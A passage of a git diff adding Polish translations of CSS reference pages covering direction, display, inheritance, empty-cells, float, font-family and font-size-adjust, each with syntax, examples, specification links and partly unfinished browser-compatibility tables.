+</li><li> Media: {{ Xref_cssvisual() }}
+</li><li> {{ Xref_csscomputed() }}:
+</li></ul>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<pre class="eval">direction: [ 'ltr' | 'rtl' | inherit ] ;
+</pre>
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci"> Wartości </h3>
+<dl><dt> ltr </dt><dd> Domyślna wartość <code>direction</code>. Tekst i inne elementy idą od lewej do prawej,
+</dd><dt> rtl </dt><dd> Tekst i inne elementy idą od prawej do lewej.
+</dd></dl>
+<p>Aby własność <code>direction</code> miała jakiś efekt w elementach inline, wartością własności {{ Cssxref("unicode-bidi") }} musi być 'embed' lub 'override'.
+</p>
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady"> Przykłady </h3>
+<pre class="eval">blockquote {
+ direction : rtl ;
+}
+</pre>
+<h3 id="Notatki" name="Notatki"> Notatki </h3>
+<p>W odróżnieniu od atrybutu <code>dir</code> w HTML, własność <code>direction</code> nie jest dziedziczona od kolumn tabeli do komórek tabeli, ponieważ dziedziczenie CSS spływa po drzewie dokumentu, a komórki tabeli są wewnątrz wierszy, ale nie wewnątrz kolumn.
+</p>
+<h3 id="Specyfikacje" name="Specyfikacje"> Specyfikacje </h3>
+<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#direction">CSS 2.1</a>
+</li><li> <a class="external" href="http://www.w3.org/TR/2003/CR-css3-text-20030514/#direction">CSS 3 Text Module</a>
+</li></ul>
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe"> Zobacz także </h3>
+<p>{{ Cssxref("unicode-bidi") }}
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/direction", "es": "es/CSS/direction", "fr": "fr/CSS/direction" } ) }}
diff --git a/files/pl/web/css/display/index.html b/files/pl/web/css/display/index.html
new file mode 100644
index 0000000000..1c85584a65
--- /dev/null
+++ b/files/pl/web/css/display/index.html
@@ -0,0 +1,168 @@
+---
+title: display
+slug: Web/CSS/display
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/display
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Ta własność określa typ wyświetlania pudełka używanego dla elementu. W języku takim jak HTML, gdzie istniejące elementy mają dobrze określone zachowanie, domyślne wartości własności 'display' są brane z zachowań opisanych w specyfikacji HTML lub z domyślnego arkusza stylu przeglądarki/użytkownika. W językach, gdzie zachowanie 'display' nie jest zdefiniowane (jak XML), domyślną wartością jest 'inline'.</p>
+
+<p>Oprócz wielu różnych dozwolonych typów wyświetlania pudełka, jedna wartość, "none", pozwala wyłączyć wyświetlanie elementu; wszystkie elementy potomne również mają wyłączone wyświetlanie. Dokument jest wyświetlany jak gdyby element nie istniał w drzewie dokumentu. Ta wartość daje potężne możliwości, ale powinna być używana z ostrożnością.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("inline") }}</li>
+ <li>{{ Xref_cssinherited() }}: wszystkich elementów</li>
+ <li>Dziedziczona: nie</li>
+ <li>Procenty: niedostępne</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: jako określone, z wyjątkiem elementu głównego, elementów <a href="pl/CSS/float">pływających</a> i elementów <a href="pl/CSS/position">pozycjonowanych absolutnie</a>.</li>
+</ul>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<p><code>display:</code> &lt;display-value&gt; | {{ Cssxref("inherit") }}</p>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;display-value&gt; </dt>
+ <dd>Wartością 'display' może być jedna z poniższych wartości.</dd>
+</dl>
+
+<ul>
+ <li><strong>inherit</strong> : Wyraźnie ustawia wartość tej własności na odpowiadającą rodzicowi.</li>
+</ul>
+
+<ul>
+ <li><strong>none</strong> : Ta wartość wyłącza wyświetlanie elementu (nie ma efektu w układzie); wszystkie elementy potomne również mają bezwarunkowo wyłączone wyświetlanie. Dokument jest wyświetlany tak jakby element nie istniał w drzewie dokumentu. Aby wyświetlić rozmiary pudełka elementu w schemacie formatowania dokumentu, gdy jego zawartość powinna być niewidoczna, zobacz własność 'visibility'.</li>
+</ul>
+
+<ul>
+ <li><strong>inline</strong> : Sprawia, że element generuje jedno lub więcej pudełek elementu liniowego.</li>
+</ul>
+
+<ul>
+ <li><strong>block</strong> : Sprawia, że element generuje pudełko elementu blokowego.</li>
+</ul>
+
+<ul>
+ <li><strong>inline-block</strong> : Wprowadzone w CSS2.1. Sprawia, że element generuje pudełko elementu blokowego, które będzie opływane otaczającą treścią, jakby było pojedynczym pudełkiem liniowym (zachowując się tak, jakby zachowywał się zamieniany element). {{ Fx_minversion_inline(3) }}</li>
+</ul>
+
+<ul>
+ <li><strong>list-item</strong> : Sprawia, że element generuje pudełko blokowe dla zawartości oraz oddzielne pudełko liniowe pozycji listy.</li>
+</ul>
+
+<ul>
+ <li><strong>compact</strong> : Zależnie od kontekstu ta wartość własności 'display' tworzy albo blokowe albo liniowe pudełko. W każdym przypadku odmienne własności CSS mogą stosować się do elementu 'compact'. W kontekście elementu blokowego element 'compact' jest wyświetlany w lewym lub prawym marginesie elementu blokowego. Element 'compact' bierze udział w wyliczaniu wysokości linii dla danej linii, a wartość własności 'vertical-align' jest relatywna do elementu blokowego.</li>
+</ul>
+
+<ul>
+ <li><strong>run-in</strong> : Zależnie od kontekstu ta wartość własności 'display' tworzy albo liniowe albo blokowe pudełko. W każdym przypadku odmienne własności CSS mogą stosować się do elementu 'run-in'. Własności elementu 'run-in' są dziedziczone z jego rodzica w drzewie dokumentu, nie z pudełka elementu blokowego, w którym jest zawarty.</li>
+</ul>
+
+<ul>
+ <li><strong>table-header-group|table-footer-group</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający mu element HTML THEAD i TFOOT, od którego wartości wzięły swoją nazwę.</li>
+</ul>
+
+<ul>
+ <li><strong>table</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość ta jest odpowiednikiem elementu <code>table</code> w HTML.</li>
+</ul>
+
+<ul>
+ <li><strong>inline-table</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML. {{ Fx_minversion_inline(3) }}</li>
+</ul>
+
+<ul>
+ <li><strong>table-caption</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li>
+</ul>
+
+<ul>
+ <li><strong>table-cell</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li>
+</ul>
+
+<ul>
+ <li><strong>table-row|table-row-group</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li>
+</ul>
+
+<ul>
+ <li><strong>table-column|table-column-group</strong> : Te wartości sprawiają, że element zachowuje się jak odpowiadający element tabeli HTML, od którego te wartości wzięły nazwę. Wartość 'inline-table' nie ma dokładnego odwzorowania w HTML.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/display.html">Zobacz przykład</a></p>
+
+<pre>Ext/Doc: p { display: block }
+In-Line: &lt;p STYLE="display: block"&gt;text&lt;/p&gt;
+</pre>
+
+<h3 id="Uwagi" name="Uwagi">Uwagi</h3>
+
+<ul>
+ <li>Zgodność z CSS1: przeglądarki mogą legalnie ignorować własność 'display' i zamiast tego używać domyślnych ustawień przeglądarki dla każdego elementu.</li>
+ <li>W CSS1 domyślną wartością dla tej własności było "block". W CSS2 zostało to zmienione na "inline".</li>
+</ul>
+
+<h5 id="Elementy_blokowe_kontra_elementy_liniowe" name="Elementy_blokowe_kontra_elementy_liniowe">Elementy blokowe kontra elementy liniowe</h5>
+
+<ul>
+ <li><strong>Elementy blokowe</strong> tworzą odrębne w pionie bloki zawartości (w kontekście wizualnym) - generalnie używając przełamania linii przed zawartością i po niej. Tylko ta wartość dla 'display' jest dopuszczalna do tworzenia elementu pozycjonowanego. Zachowanie blokowe jest pokazywane przez takie elementy HTML jak BLOCKQUOTE (cytaty blokowe), DIV oraz nagłówki. Wartości własności 'display', tworzące blokowy typ elementu, to: 'block', 'list-item', 'table, 'compact' oraz 'run-in'.</li>
+</ul>
+
+<ul>
+ <li><strong>Elementy liniowe</strong> nie tworzą wyraźnych bloków zawartości, zawartość elementu jest wyświetlana przy użyciu pudełka liniowego (zawartość jest rozmieszczana linia po linii wewnątrz zawierającego ją fizycznego lub wirtualnego elementu blokowego). Zachowanie liniowe jest pokazywane przez takie elementy HTML, jak fizyczne i wirtualne formatowanie znaków, nieopływane obrazki i nieobjęta znacznikami zawartość. Wartości własności 'display', tworzące liniowy typ elementu, to: 'inline', 'inline-table', 'compact' oraz 'run-in'.</li>
+</ul>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#display">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-display">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Browser</th>
+ <th>Lowest Version</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Wartości <code>table-</code>* są wspierane w Firefoksie i ???.</p>
+
+<p>Wartości <code>compact</code> oraz <code>run-in</code> nie są wspierane w Firefoksie. Wspierane są w ???.</p>
+
+<p>Wartości <code>inline-block</code> oraz <code>inline-table</code> są wstępnie wspierane w Firefoksie 3 / Gecko 1.9. <code>inline-block</code> jest również wspierane w ???, a <code>inline-table</code> jest również wspieranie w ???.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("visibility") }}, {{ Cssxref("float") }}, {{ Cssxref("position") }}</p>
+
+<p> </p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/display", "es": "es/CSS/display", "fr": "fr/CSS/display", "pt": "pt/CSS/display", "zh-cn": "cn/CSS/display" } ) }}</p>
diff --git a/files/pl/web/css/dziedziczenie/index.html b/files/pl/web/css/dziedziczenie/index.html
new file mode 100644
index 0000000000..e8049231f1
--- /dev/null
+++ b/files/pl/web/css/dziedziczenie/index.html
@@ -0,0 +1,50 @@
+---
+title: Dziedziczenie
+slug: Web/CSS/Dziedziczenie
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/inheritance
+---
+<p>
+{{ CSSRef() }}
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie</h3>
+<p>Podsumowanie każdej <a href="pl/Dokumentacja_CSS">definicji własności CSS</a> zawiera informację, czy dana własność jest dziedziczona domyślnie ("Dziedziczona: tak"), czy też nie ("Dziedziczona: nie"). Umożliwia to kontrolę nad tym, co się dzieje, gdy nie została określona żadna wartość własności elementu.
+</p>
+<h3 id="W.C5.82asno.C5.9Bci_dziedziczone" name="W.C5.82asno.C5.9Bci_dziedziczone"> Własności dziedziczone </h3>
+<p>Gdy nie została określona wartość <b>własności dziedziczonej</b> elementu, element otrzymuje <a href="pl/CSS/Warto%c5%9b%c4%87_wyliczona">wartość wyliczoną</a> własności elementu-rodzica. Tylko element główny dokumentu otrzymuje <a href="pl/CSS/Warto%c5%9b%c4%87_pocz%c4%85tkowa">wartość początkową</a> podaną w podsumowaniu własności.
+</p><p>Typowym przykładem własności dziedziczonej jest własność {{ Cssxref("color") }}. Mając następujące reguły stylu:
+</p>
+<pre class="eval"> p { color: green }
+</pre>
+<p>i znaczniki
+</p>
+<pre class="eval"> &lt;p&gt;Ten akapit zawiera &lt;em&gt;wyróżniony tekst&lt;/em&gt; wewnątrz.&lt;/p&gt;
+</pre>
+<p>wyrażenie "wyróżniony tekst" będzie miało kolor zielony, ponieważ element <code>em</code> odziedziczył wartość własności {{ Cssxref("color") }} po elemencie <code>p</code>. <i>Nie</i> otrzymuje on początkowej wartości własności (którą jest kolor użyty w elemencie głównym, gdy nie został określony dla strony żaden kolor).
+</p>
+<h3 id="W.C5.82asno.C5.9Bci_niedziedziczone" name="W.C5.82asno.C5.9Bci_niedziedziczone"> Własności niedziedziczone </h3>
+<p>Gdy nie została określona wartość <b>własności niedziedziczonej</b> (czasami nazywanej <b>własnością reset</b> w kodzie Mozilli) elementu, element otrzymuje <a href="pl/CSS/Warto%c5%9b%c4%87_pocz%c4%85tkowa">wartość początkową</a> tej własności (jak podano w podsumowaniu własności).
+</p><p>Typowym przykładem własności niedziedziczonej jest własność {{ Cssxref("border") }}. Mając następujące reguły stylu:
+</p>
+<pre class="eval"> p { border: medium solid }
+</pre>
+<p>i znaczniki
+</p>
+<pre class="eval"> &lt;p&gt;Ten akapit zawiera &lt;em&gt;wyróżniony tekst&lt;/em&gt; wewnątrz.&lt;/p&gt;
+</pre>
+<p>wyrażenie "wyróżniony tekst" nie będzie posiadało ramki (ponieważ wartość początkowa własności {{ Cssxref("border-style") }} to <code>none</code>).
+</p>
+<h3 id="Uwagi" name="Uwagi"> Uwagi </h3>
+<p>Słowo kluczowe {{ Cssxref("inherit") }} pozwala na bezpośrednie określenie dziedziczenia. Działa ono zarówno na własnościach dziedziczonych jak i niedziedziczonych.
+</p>
+<h3 id="Zobacz_r.C3.B3wnie.C5.BC" name="Zobacz_r.C3.B3wnie.C5.BC"> Zobacz również </h3>
+<p>{{ Cssxref("inherit") }}, <a href="pl/CSS/Warto%c5%9b%c4%87_pocz%c4%85tkowa">wartość początkowa</a>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
+{{ languages( { "en": "en/CSS/inheritance", "es": "es/CSS/inheritance", "fr": "fr/CSS/H\u00e9ritage", "ja": "ja/CSS/inheritance" } ) }}
diff --git a/files/pl/web/css/empty-cells/index.html b/files/pl/web/css/empty-cells/index.html
new file mode 100644
index 0000000000..7c203acf00
--- /dev/null
+++ b/files/pl/web/css/empty-cells/index.html
@@ -0,0 +1,77 @@
+---
+title: empty-cells
+slug: Web/CSS/empty-cells
+tags:
+ - CSS
+ - Dokumentacje
+translation_of: Web/CSS/empty-cells
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność CSS <strong>empty-cells</strong> określa, jak program powinien wyświetlać obramowania i tła wokół komórek, które nie mają widocznej zawartości.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">empty-cells: show | hide | inherit
+
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>{{ Cssxref("inherit") }}</dt>
+ <dt><code>show</code></dt>
+ <dd>obramowania i tła powinny być wyświetlane jak normalne komórki</dd>
+ <dt><code>hide</code></dt>
+ <dd>obramowania i tła nie powinny być wyświetlane</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="eval">.contentbox td {
+ empty-cells: show;
+}
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/tables.html#empty-cells">W3C Cascading Style Sheets, level 2 revision 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/tables.html#empty-cells">W3C Cascading Style Sheets, level 2</a></li>
+ <li><a class="external" href="http://www.w3.org/Style/CSS/current-work#tables">W3C Cascading Style Sheets, level 3</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>?</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/pl/web/css/float/index.html b/files/pl/web/css/float/index.html
new file mode 100644
index 0000000000..0c8a73f00d
--- /dev/null
+++ b/files/pl/web/css/float/index.html
@@ -0,0 +1,116 @@
+---
+title: float
+slug: Web/CSS/float
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/float
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Własność <strong>float</strong> określa, że element powinien być wyjęty z normalnego przepływu i umieszczony przy lewej lub prawej stronie zawierającego go kontenera, zaś tekst i elementy liniowe będą zawijały się wokół niego.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("none") }}</li>
+ <li>Stosowana do: wszystkich elementów</li>
+ <li>{{ Xref_cssinherited() }}: no</li>
+ <li>Procenty:</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: jako określone</li>
+</ul>
+
+<p><strong>Element pływający</strong> jest jedynym, gdzie <a href="pl/CSS/warto%c5%9b%c4%87_wyliczona">wartość wyliczona</a> <code>float</code> <strong>nie</strong> jest równa <code>none</code>.</p>
+
+<p>Zauważ, że, jeśli odwołujesz się do tej wartości z JavaScript jako elementu obiektu <a href="pl/DOM/element.style">element.style</a>, musisz oznaczyć to <strong>cssFloat</strong> (zobacz listę na <a href="pl/DOM/CSS">DOM:CSS</a>). Zwróć też uwagę, że IE nazywa to <strong>styleFloat</strong>.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<p>float: left | right | none | <a href="pl/CSS/inherit">inherit</a></p>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<ul>
+ <li><strong>left</strong> : Element pływa po lewej stronie zawierającego go bloku.</li>
+ <li><strong>right</strong> : Element pływa po prawej stronie zawierającego go bloku.</li>
+ <li><strong>none</strong> : Element nie pływa.</li>
+</ul>
+
+<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3>
+
+<p><a href="/samples/cssref/float.html">Zobacz przykład</a></p>
+
+<pre>&lt;html&gt;
+ &lt;head&gt;
+ &lt;style type="text/css"&gt;
+ b
+ {
+ font-size: 25px;
+ float:right;
+ }
+ &lt;/style&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+
+ &lt;p&gt;
+ &lt;b&gt;HELLO!&lt;/b&gt;
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ To jest jakiś tekst. To jest jakiś tekst. To jest jakiś tekst.
+ &lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h3 id="Notatki" name="Notatki">Notatki</h3>
+
+<p>TODO: Notatka powinna wyjaśniać, jak elementy pływające są pozycjonowane. Wzmianka o <a href="pl/CSS/block_formatting_context">block formatting context</a>.</p>
+
+<h3 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#float">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-float">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h3>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th>Przeglądarka</th>
+ <th>Najniższa wersja</th>
+ </tr>
+ <tr>
+ <td>Internet Explorer</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Netscape</td>
+ <td>4</td>
+ </tr>
+ <tr>
+ <td>Opera</td>
+ <td>3.5</td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p>{{ Cssxref("clear") }}, {{ Cssxref("display") }}, {{ Cssxref("position") }}</p>
+
+<div class="noinclude"> </div>
+
+<p>{{ languages( { "en": "en/CSS/float", "es": "es/CSS/float", "fr": "fr/CSS/float" } ) }}</p>
diff --git a/files/pl/web/css/font-family/index.html b/files/pl/web/css/font-family/index.html
new file mode 100644
index 0000000000..7a9bff6328
--- /dev/null
+++ b/files/pl/web/css/font-family/index.html
@@ -0,0 +1,58 @@
+---
+title: font-family
+slug: Web/CSS/font-family
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font-family
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p><code>font-family</code> dopuszcza uszeregowaną pod względem ważności listę nazw rodzin czcionek oraz/lub nazwy rodzajów czcionek do zdefiniowania dla wybranego elementu. W przeciwieństwie do większości innych własności CSS, wartości są oddzielone przecinkiem, by wskazywały, że są alternatywami.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="eval">font-family: &lt;family-or-generic-name&gt; [, &lt;family-or-generic-name&gt;]* | inherit
+</pre>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt>&lt;family-generic-name&gt;</dt>
+ <dd>jest jedną z wartości <code>&lt;family-name&gt;</code> lub <code>&lt;generic-family&gt;</code></dd>
+ <dt>family-name </dt>
+ <dd>Nazwa rodziny czcionek. Na przykład: "Times" i "Helvetica" są rodzinami czcionek. Nazwy rodziny czcionek, zawierające białe znaki, powinny być ujęte w cudzysłowy.</dd>
+ <dt>generic-family </dt>
+ <dd>Zdefiniowane są następujące rodzaje czcionek: <code>serif</code>, <code>sans-serif</code>, <code>cursive</code>, <code>fantasy</code>, <code>monospace</code>. Nazwy rodzajów są słowami kluczowymi i nie muszą być brane w cudzysłowy.</dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/font-family.html">Zobacz przykład</a></p>
+
+<pre>body { font-family: "Gill Sans Extrabold", Helvetica, sans-serif }
+
+.receipt { font-family: Courier, "Lucida Console", monospace }
+</pre>
+
+<h2 id="Uwagi" name="Uwagi">Uwagi</h2>
+
+<p>Powinieneś zawsze określić nazwę rodzaju jako ostatnią wartość we własności <code>font-family</code>.</p>
+
+<p>Własność <code>font-family</code> wyszczególnia listę czcionek, od najwyższego priorytetu do najniższego. Wybór czcionki <em>nie</em> kończy się po prostu, gdy pierwsza z wymienionych czcionek jest w systemie użytkownika. Wybór czcionki odbywa się raczej jako <em>jeden znak naraz</em>, zatem, jeśli dostępna czcionka nie ma glifu (matrycy), który może wyświetlić potrzebny znak, wypróbowywana jest kolejna dostępna czcionka.</p>
+
+<p>Jeśli dla czcionki dostępne są tylko niektóre własności <a href="pl/CSS/font-style">styles</a>, <a href="pl/CSS/font-variant">variants</a> lub <a href="pl/CSS/font-size">sizes</a>, mogą one również wpływać na to, które rodziny czcionek zostaną wybrane.</p>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS1#font-family">CSS 1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/fonts.html#font-family-prop">CSS 2.1</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2002/WD-css3-fonts-20020802/#font-family-prop">CSS 3</a></li>
+</ul>
diff --git a/files/pl/web/css/font-size-adjust/index.html b/files/pl/web/css/font-size-adjust/index.html
new file mode 100644
index 0000000000..56561c4285
--- /dev/null
+++ b/files/pl/web/css/font-size-adjust/index.html
@@ -0,0 +1,60 @@
+---
+title: font-size-adjust
+slug: Web/CSS/font-size-adjust
+tags:
+ - CSS
+ - 'CSS:Dokumentacje'
+ - Dokumentacje
+ - Wszystkie_kategorie
+translation_of: Web/CSS/font-size-adjust
+---
+<p>{{ CSSRef() }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Własność {{ Cssxref("font-size-adjust") }} określa, że rozmiar czcionki powinien być wybrany raczej na podstawie wysokości małych liter niż wysokości dużych liter.</p>
+
+<p>Jest to użyteczne, ponieważ czytelność czcionek, zwłaszcza o małych rozmiarach, jest zdeterminowana bardziej przez rozmiar małych liter niż dużych liter. Może to powodować problemy, kiedy pierwsza czcionka zdefiniowana w {{ Cssxref("font-family") }} jest niedostępna, zaś czcionka ją zamieniająca ma znacząco odmienny stosunek proporcji (proporcję rozmiaru małych liter do rozmiaru czcionki).</p>
+
+<p>Zrobienie tego w sposób, który jest zgodny z przeglądarkami niewspierającymi {{ Cssxref("font-size-adjust") }}, polega na określeniu liczby, która zwielokrotnia własność {{ Cssxref("font-size") }}. Oznacza to, że wartość określona dla tej własności powinna być zasadniczo stosunkiem proporcji pierwszej deklarowanej czcionki. Na przykład, arkusz stylu, który definiuje <code><a href="pl/CSS/font-size">font-size</a>: 16px; <a href="pl/CSS/font-size-adjust">font-size-adjust</a>: 0.5</code>, w praktyce określa, że rozmiar małych liter czcionki powinien wynosić <code>8px</code> wysokości (16px razy 0.5).</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<p><code>font-size-adjust:</code> &lt;liczba&gt; | <code>none</code> | {{ Cssxref("inherit") }}</p>
+
+<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3>
+
+<dl>
+ <dt><code>none</code> </dt>
+ <dd>Wybiera rozmiar czcionki opierając się jedynie na własności {{ Cssxref("font-size") }}.</dd>
+ <dt>&lt;liczba&gt; </dt>
+ <dd>
+ <p>Wybiera rozmiar czcionki w ten sposób, że jej małe litery (jako wyznaczone przez wartość x-height czcionki) są określane liczbą zwielokrotniająca {{ Cssxref("font-size") }}.</p>
+
+ <p>Zdefiniowana liczba powinna być zasadniczo stosunkiem proporcji (proporcja wartości x-height do rozmiaru czcionki) czcionki wybieranej w pierwszej kolejności w {{ Cssxref("font-family") }}. Będzie to oznaczało, że czcionka wybrana w pierwszej kolejności, kiedy jest dostępna, wyświetli się w tym samym rozmiarze w przeglądarkach, niezależnie, czy wspierają własność {{ Cssxref("font-size-adjust") }}.</p>
+ </dd>
+</dl>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<p><a href="/samples/cssref/font-size-adjust.html">Zobacz przykład</a></p>
+
+<pre>p{
+ font: 12px Verdana, sans-serif;
+ font-size-adjust: 0.58;
+}
+
+</pre>
+
+<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/1998/REC-CSS2-19980512/fonts.html#propdef-font-size-adjust">CSS 2</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/css3-fonts/#font-size-adjust">css3-fonts</a></li>
+</ul>
+
+<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2>
+
+<p>Wspierana na wszystkich platformach począwszy od Gecko 1.9 / Firefox 3, zaś w Windows wpierana wcześniej.</p>
diff --git a/files/pl/web/css/font-size/index.html b/files/pl/web/css/font-size/index.html
new file mode 100644
index 0000000000..a269accdc6
--- /dev/null
+++ b/files/pl/web/css/font-size/index.html
@@ -0,0 +1,339 @@
+---
+title: font-size
+slug: Web/CSS/font-size
+tags:
+ - CSS
